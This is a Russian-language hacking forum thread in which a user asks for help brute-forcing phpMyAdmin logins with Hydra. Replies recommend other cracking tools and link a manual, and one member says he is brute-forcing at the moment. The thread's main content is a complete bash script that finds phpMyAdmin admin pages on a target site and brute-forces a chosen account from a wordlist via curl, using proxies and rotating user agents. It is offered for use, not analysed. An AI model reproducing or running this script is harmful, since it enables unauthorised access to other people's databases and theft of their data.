Помогите с Hydra :(

Discussion in 'Уязвимости' started by Barbarosska12, 21 Mar 2018.

  1. Barbarosska12

    Barbarosska12 New Member

    Joined:
    2 Sep 2017
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Дело в том, что никак не могу настроить Hydra для брутфорса phpmyadmin.
    Как только не пытался - выбивает что все логины и пароли - правильные.
    Подскажите мне модель команды для брутфорса phpmyadmin, пожалуйста :(
     
  2. Muracha

    Muracha Member

    Joined:
    30 Jul 2011
    Messages:
    151
    Likes Received:
    10
    Reputations:
    0
    Отказывайся от гидры, смотри в сторону других проектов.
    Это может быть Aucunetix WVS - он брутит без пропусков, правда basic форму(а я хз какая у тебя форма там) либо sentry mba - но с ней надо ковыряться, изучать и настраивать
     
  3. t0ma5

    t0ma5 Reservists Of Antichat

    Joined:
    10 Feb 2012
    Messages:
    831
    Likes Received:
    815
    Reputations:
    90
    _________________________
    Barbarosska12 likes this.
  4. Muracha

    Muracha Member

    Joined:
    30 Jul 2011
    Messages:
    151
    Likes Received:
    10
    Reputations:
    0
    Отличная инструкция, кстати по которой все работает(сам бручу сейчас)
    https://kali.tools/?p=269
    И команда для phpmyadmin тоже имеется, что кстати редкость
     
  5. t0ma5

    t0ma5 Reservists Of Antichat

    Joined:
    10 Feb 2012
    Messages:
    831
    Likes Received:
    815
    Reputations:
    90
    скопипастил урл на ман
    может подучите какой нибудь язык? брут написать под эту хрень дело 10 минут
    лентяи
     
    _________________________
  6. lifescore

    lifescore Elder - Старейшина

    Joined:
    27 Aug 2011
    Messages:
    599
    Likes Received:
    451
    Reputations:
    65
    под pma учить ЯП... по горло curl будет

    Code:
    #!/bin/bash
    # Variables:
    JUNK=/tmp
    STORAGE1=$(mktemp -p "$JUNK" -t fooooobar1.tmp.XXX)
    STORAGE2=$(mktemp -p "$JUNK" -t fooooobar2.tmp.XXX)
    uagent1="Opera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version/12.00"
    uagent2="Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20120427 Firefox/15.0a1"
    uagent3="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6"
    uagent4="Mozilla/5.0 (compatible; MSIE 10.6; Windows NT 6.1; Trident/5.0; InfoPath.2; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727) 3gpp-gba UNTRUSTED/1.0"
    PMALIST="/phpMyAdmin/
    /phpmyadmin/
    /PMA/
    /admin/
    /dbadmin/
    /mysql/
    /myadmin/
    /phpmyadmin2/
    /phpMyAdmin2/
    /phpMyAdmin-2/
    /php-my-admin/
    /phpMyAdmin-2.2.3/
    /phpMyAdmin-2.2.6/
    /phpMyAdmin-2.5.1/
    /phpMyAdmin-2.5.4/
    /phpMyAdmin-2.5.5-rc1/
    /phpMyAdmin-2.5.5-rc2/
    /phpMyAdmin-2.5.5/
    /phpMyAdmin-2.5.5-pl1/
    /phpMyAdmin-2.5.6-rc1/
    /phpMyAdmin-2.5.6-rc2/
    /phpMyAdmin-2.5.6/
    /phpMyAdmin-2.5.7/
    /phpMyAdmin-2.5.7-pl1/
    /phpMyAdmin-2.6.0-alpha/
    /phpMyAdmin-2.6.0-alpha2/
    /phpMyAdmin-2.6.0-beta1/
    /phpMyAdmin-2.6.0-beta2/
    /phpMyAdmin-2.6.0-rc1/
    /phpMyAdmin-2.6.0-rc2/
    /phpMyAdmin-2.6.0-rc3/
    /phpMyAdmin-2.6.0/
    /phpMyAdmin-2.6.0-pl1/
    /phpMyAdmin-2.6.0-pl2/
    /phpMyAdmin-2.6.0-pl3/
    /phpMyAdmin-2.6.1-rc1/
    /phpMyAdmin-2.6.1-rc2/
    /phpMyAdmin-2.6.1/
    /phpMyAdmin-2.6.1-pl1/
    /phpMyAdmin-2.6.1-pl2/
    /phpMyAdmin-2.6.1-pl3/
    /phpMyAdmin-2.6.2-rc1/
    /phpMyAdmin-2.6.2-beta1/
    /phpMyAdmin-2.6.2-rc1/
    /phpMyAdmin-2.6.2/
    /phpMyAdmin-2.6.2-pl1/
    /phpMyAdmin-2.6.3/
    /phpMyAdmin-2.6.3-rc1/
    /phpMyAdmin-2.6.3/
    /phpMyAdmin-2.6.3-pl1/
    /phpMyAdmin-2.6.4-rc1/
    /phpMyAdmin-2.6.4-pl1/
    /phpMyAdmin-2.6.4-pl2/
    /phpMyAdmin-2.6.4-pl3/
    /phpMyAdmin-2.6.4-pl4/
    /phpMyAdmin-2.6.4/
    /phpMyAdmin-2.7.0-beta1/
    /phpMyAdmin-2.7.0-rc1/
    /phpMyAdmin-2.7.0-pl1/
    /phpMyAdmin-2.7.0-pl2/
    /phpMyAdmin-2.7.0/
    /phpMyAdmin-2.8.0-beta1/
    /phpMyAdmin-2.8.0-rc1/
    /phpMyAdmin-2.8.0-rc2/
    /phpMyAdmin-2.8.0/
    /phpMyAdmin-2.8.0.1/
    /phpMyAdmin-2.8.0.2/
    /phpMyAdmin-2.8.0.3/
    /phpMyAdmin-2.8.0.4/
    /phpMyAdmin-2.8.1-rc1/
    /phpMyAdmin-2.8.1/
    /phpMyAdmin-2.8.2/
    /sqlmanager/
    /mysqlmanager/
    /p/m/a/
    /PMA2005/
    /pma2005/
    /phpmanager/
    /php-myadmin/
    /phpmy-admin/
    /webadmin/
    /sqlweb/
    /websql/
    /webdb/
    /mysqladmin/
    /mysql-admin/";
    #First a simple Bashtrap function to handle interupt (CTRL+C)
    trap bashtrap INT
    
    function bashtrap(){
        echo
        echo
        echo 'CTRL+C has been detected!.....shutting down now' | grep --color '.....shutting down now'
        #Kill any running instances in case we ran large file and spawned background processes...
        ps aux | grep "$0" | cut -d' ' -f6 | while read selfkill
        do
            kill -9 "$selfkill" 2> /dev/null
        done
        rm -f "$STORAGE1"
        rm -f "$STORAGE2"
        #exit entire script if called
        exit 0
    }
    #End bashtrap()
    
    
    
    function usage(){
        echo
        echo "HR's PhpMyAdmin Finder and Bruterforcer Script" | grep --color -E 'HR||s PhpMyAdmin Finder and Bruterforcer Script'
        echo "Simply run and follow the prompts dummy :p" | grep --color 'Simply run and follow the prompts dummy'
        echo
        exit;
    }
    #End usage
    
    
    function pma_finder(){
        echo
        echo "Please provide site to scan for PhpMyAdmin page:" | grep --color 'Please provide site to scan for PhpMyAdmin page'
        read PMASITE
        echo
        echo "Do you want to use a proxy? (y/n)" | grep --color -E 'Do you want to use a proxy||y||n'
        read PROXDEC
        if [ "$PROXDEC" == y ] || [ "$PROXDEC" == Y ] || [ "$PROXDEC" == yes ] || [ "$PROXDEC" == YES ]; then
            echo
            echo "OK, please provide proxy to use in IP:PORT format:" | grep --color -E 'OK||please provide proxy to use in IP||PORT format'
            read PROXYADDY
            echo
            METH=2
        else
            echo "OK, just checking...." | grep --color -E 'OK||just checking'
            echo
        fi
        echo "OK, checking $PMASITE for PhpMyAdmin page....." | grep --color -E "OK||checking $PMASITE for PhpMyAdmin page"
        echo
        echo "${PMALIST[@]}" | while read pmaloc
        do
            TARGETSITE="$PMASITE$pmaloc"
            if [ "$METH" == 2 ]; then
                curl $TARGETSITE -I -x "$PROXYADDY" -A "$uagent2" -e "localhost" -o "$STORAGE1" 2> /dev/null
            else
                curl $TARGETSITE -I -A "$uagent1" -e "localhost" -o "$STORAGE1" 2> /dev/null
            fi
            cat "$STORAGE1" | sed '2,20d' | cut -d' ' -f2 > "$STORAGE2" 2> /dev/null
            cat "$STORAGE2" | while read pageused
            do
                if [ "$pageused" == '200' ]; then
                    echo "[ 200 SUCCESS ] $TARGETSITE" | grep --color '\[ 200 SUCCESS \]'
                elif [ "$pageused" == '302' ]; then
                    echo "[ 302 Redirect ] $TARGETSITE" | grep --color '\[ 302 Redirect \]'
                elif [ "$pageused" == '403' ]; then
                    echo "[ 403 Forbidden ] $TARGETSITE" | grep --color '\[ 403 Forbidden \]'
                fi
            done
        done
        decision_tree
    }
    # End pma_finder
    
    
    
    function pma_bruteforcer(){
        echo
        echo "Please provide site and path to PhpMyAdmin page you want to bruteforce:" | grep --color 'Please provide site and path to PhpMyAdmin page you want to bruteforce'
        read PMABRUTE
        echo
        echo "Please provide username to bruteforce:" | grep --color 'Please provide username to bruteforce'
        read USER
        echo
        echo "Please provide path to wordlist to use:" | grep --color 'Please provide path to wordlist to use'
        read WORDLIST
        if [ ! -r "$WORDLIST" ]; then
            echo "Can't read provided wordlist, please try again!"
            pma_bruteforcer
        fi
        echo "Do you want to use a proxy? (y/n)" | grep --color -E 'Do you want to use a proxy||y||n'
        read PROXDEC
        if [ "$PROXDEC" == y ] || [ "$PROXDEC" == Y ] || [ "$PROXDEC" == yes ] || [ "$PROXDEC" == YES ]; then
            echo
            echo "OK, please provide proxy to use in IP:PORT format:" | grep --color -E 'OK||please provide proxy to use in IP||PORT format'
            read PROXYADDY
            echo
            METH=2
        else
            echo "OK, just checking...." | grep --color -E 'OK||just checking'
            echo
        fi
        echo
        echo "OK, preparing to bruteforce $USER account at $PMABRUTEw with this wordlist: $WORDLIST...." | grep --color -E "OK||preparing to bruteforce $USER account at $PMABRUTEw with this wordlist||$WORDLIST"
        echo
        COUNT=1
        cat $WORDLIST | sort | uniq | while read PASS
        do
            DATA="pma_username=$USER&pma_password=$PASS&server=1&lang=en-utf-8&convcharset=iso-8859-1"
            UA="\$uagent$COUNT"
            if [ "$METH" == 2 ]; then
                curl "$PMABRUTE" --data "$DATA" -x "$PROXYADDY" -L -c "$STORAGE2" --retry 2 --retry-delay 3 --connect-timeout 3 --no-keepalive -s -e "localhost" -A "$UA" > "$STORAGE1" 2> /dev/null
            else
                curl "$PMABRUTE" --data "$DATA" -L -c "$STORAGE2" --retry 2 --retry-delay 3 --connect-timeout 3 --no-keepalive -s -e "localhost" -A "$UA" > "$STORAGE1" 2> /dev/null
            fi
            grep 'Access denied' "$STORAGE1" 2> /dev/null > /dev/null
            if [ "$?" == 0 ]; then
                echo "[BAD] $USER:$PASS"
            else
                echo "[SUCCESS] $USER:$PASS" | grep --color "\[SUCCESS\] $USER:$PASS"
                echo "[SUCCESS] $USER:$PASS on $PMABRUTE" >> pma_results.txt
            fi
            COUNT=$((COUNT +1))
            if [ "$COUNT" == 4 ]; then
                COUNT=1
            fi
        done
        decision_tree
    }
    #End pma_bruteforcer
    
    
    
    # Decision Tree
    function decision_tree(){
    echo
    echo "Please select which option you would like to use: " | grep --color -E 'Please select which option you would like to use'
    select pma_options in "PMA Finder" "PMA Bruteforcer" "Exit"
    do
        case $pma_options in
            "PMA Finder")
                pma_finder
            ;;
            "PMA Bruteforcer")
                pma_bruteforcer
            ;;
            "Exit")
                exit 0;
            ;;
            *)
                echo "Input not understood, please try again...." | grep --color -E 'Input not understood||please try again'
                usage
            ;;
        esac
    done
    }
    #End Decision Tree
    
    
    
    
    #MAIN---------------------------------------------------------------
    clear
    #Check to ensure arguments passed or provide usage info for dummies
    if [ "$1" == '-h' ] || [ "$1" == '--help' ]; then
        usage
    fi
    decision_tree
    rm -f "$STORAGE1"
    rm -f "$STORAGE2"
    #EOF
     
Loading...